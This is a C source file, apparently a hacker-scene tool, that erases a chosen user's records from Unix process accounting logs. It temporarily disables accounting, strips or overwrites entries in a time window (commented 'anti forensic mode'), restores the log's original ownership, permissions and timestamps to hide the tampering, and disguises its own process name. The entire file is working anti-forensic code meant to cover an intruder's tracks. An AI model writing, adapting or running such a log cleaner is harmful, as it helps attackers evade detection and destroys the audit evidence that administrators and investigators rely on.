/*
 * acctclean05.c
 * by xeon
 *
 * Deletes log entry from (p)acct log files.
 * It automatically search for the acct log file.
 *
 * Use: acctclean <username> [start min] [end min] \
 *                           [start hour] [end hour] \
 *                           [start day] [end day] \
 *                           [start month] \
 *                           [end month] \
 *                           [year]
 * where
 * - username      : required - the user which you want to "clean" 
 * - start minute  : optional - wipe process records from this minutes ago (default 5 minutes))
 * - end minute    : optional - wipe process records till this minutes ago (default now))
 * - (others)      : optional - (see above and use some brain guy)
 *
 * [from the xeon castle foundry...]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/acct.h>
#include <fcntl.h>
#include <time.h>
#include <utime.h>

#include <errno.h>

#define TMPACCT "/var/log/.foo"

char ACCT[32];
char *ACCTLIST[6]={
  "/var/adm/acct",
  "/var/adm/pacct",
  "/usr/adm/acct",
  "/usr/adm/pacct",
  "/var/log/acct",
  "/var/log/pacct"};
 
  
int main (int argc, char **argv)
{
  int uid, cont;
  FILE *fd, *tmpfd;
  struct stat st, tmpst;
  struct passwd *pwt;
  struct acct tmpacct, obfacct;
  struct tm tm_from, tm_to;
  struct utimbuf utb; 
  time_t fromtime, totime, curtime;
  
  
  if (argc < 2){
    printf("Give me an username guy...\n");
    return 0;
  }
    
  
  printf("[+] Finding acct...");

  memset(&st, 0, sizeof(st));
  for(cont=0; cont<6; cont++)
    if (!stat(ACCTLIST[cont],&tmpst))
      if (tmpst.st_ctime > st.st_ctime){ memcpy(&st,&tmpst,sizeof(st)); uid = cont; }
  if (!st.st_ctime){ printf("ERROR!!! Can't find it\n"); return -1; }
  strcpy(ACCT,ACCTLIST[uid]);
  
  printf("%s\n",ACCT);
  
  
  printf("[+] Getting uid for %s...",argv[1]);
  
  if (NULL == (pwt = getpwnam(argv[1]))){
    printf("ERROR!!!\n");
    return -1;
  }
  uid = pwt->pw_uid;
  
  printf("done\n");
  
  
  // get current time since Epoch  
  time(&curtime); 
  // initialize tm_to to current time
  totime = curtime;
  gmtime_r(&totime, &tm_to);
  tm_to.tm_sec = 59;
  // initialize tm_from to 5 minutes ago  
  fromtime = curtime - 300;
  gmtime_r(&fromtime, &tm_from);
  tm_from.tm_sec = 0;
  // now parse user input and change time accordingly
  if (argc >= 3){
    tm_from.tm_min = atoi(argv[2]);
  }
  if (argc >= 4){
    tm_to.tm_min = atoi(argv[3]);
  }
  if (argc >= 5){
    tm_from.tm_hour = atoi(argv[4]);
  }
  if (argc >= 6){
    tm_to.tm_hour = atoi(argv[5]);
  }
  if (argc >= 7){
    tm_from.tm_mday = atoi(argv[6]);
  }
  if (argc >= 8){
    tm_to.tm_mday = atoi(argv[7]);
  }
  if (argc >= 9){
    tm_from.tm_mon = atoi(argv[8])-1;
  }
  if (argc >= 10){
    tm_to.tm_mon = atoi(argv[9])-1;
  }
  if (argc >= 11){
    tm_from.tm_year = atoi(argv[10])-1900;
    tm_to.tm_year = atoi(argv[10])-1900;
  }
  // recalculate Epoch time
  fromtime = mktime(&tm_from);
  totime = mktime(&tm_to);
  
  printf("[+] Deleting from %s", ctime(&fromtime));
  printf("[+] Deleting to   %s", ctime(&totime));
  if (fromtime > totime){
    printf("Stupid guy,check time value you gave...\n");
    return -1;
  }
  
  
  printf("[+] Creating temp file...");
  
  if (NULL == (tmpfd = fopen(TMPACCT,"w"))){
    printf("ERROR!!!\n");
    exit(-1);
  }
  
  printf("done\n");
  
  /*
  // Warning,on my linux this doesn't work,'cause lnx accounting hasn't EBUSY errcode
  printf("[+] Checking if accounting is enabled...");
  
  if (!acct(TMPACCT)){
    printf("NOT! Redisabling...");
    if (-1 == acct(NULL)){
      printf("ERROR!!!\n");
      exit(-1);
    }
    if (-1 == unlink(TMPACCT)){
      printf("ERROR!!! Check %s\n",TMPACCT);
      exit(-1);
    }
    printf("done\n");
    exit(0);
  }
  
  printf("yes\n");
  */
  
  printf("[+] Disabling accounting...");
  
  if (acct(NULL)){
    printf("ERROR!!!\n");
    exit(-1);
  }
  
  printf("done\n");
  
    
  printf("[+] Starting clean up...");
  
    if (NULL == (fd = fopen(ACCT,"r+"))){
    printf("ERROR!!! Opening %s\n",ACCT);
    exit(-1);
  }
  
  memset(&obfacct,0,sizeof(obfacct));
  while ((!feof(fd))&&(!ferror(fd))){
    if (1 != fread(&tmpacct,sizeof(tmpacct),1,fd)) continue;
    /* 
    printf(" ---------------------\n");
    printf("  %d - %s\n",tmpacct.ac_uid,tmpacct.ac_comm);
    printf("  %s ",ctime(&fromtime));
    printf(" %s ",ctime(&tmpacct.ac_btime));
    printf(" %s ",ctime(&totime));
    printf("---------------------\n");
    */
    if ((uid != tmpacct.ac_uid) || (tmpacct.ac_btime < fromtime) || (tmpacct.ac_btime > totime)){
      fwrite(&tmpacct,sizeof(tmpacct),1,tmpfd);
      memcpy(&obfacct,&tmpacct,sizeof(obfacct));
    }
    else {
      // anti forensic mode on ;)
      fseek(fd,-sizeof(obfacct),SEEK_CUR);
      fwrite(&obfacct,sizeof(obfacct),1,fd);
    }
  }
  fclose(fd);
  fclose(tmpfd);
  
  if (rename(TMPACCT,ACCT)){
    printf("ERROR!!! Replacing file\n");
    exit(-1);
  }
  
  chown(ACCT,st.st_uid,st.st_gid);
  chmod(ACCT,st.st_mode);
  utb.actime = st.st_atime;
  utb.modtime= st.st_mtime;
  if (utime(ACCT, &utb)) {
    printf(" - Warning: cannot change access time for %s to old values - ", ACCT);
  }
  
  printf("done\n");
  
  
  // Old trick, maybe unuseful
  printf("[+] Changing %s in %s...",argv[0],obfacct.ac_comm);
  
  strcpy(argv[0],obfacct.ac_comm);
  
  printf("done - now I am %s\n",argv[0]);
  
  
  printf("[+] Enabling accounting...");
  
  if (acct(ACCT)){
    printf("ERROR!!!\n");
    exit(-1);
  }
  
  printf("done\n");
  
 
  
  return 0;
}
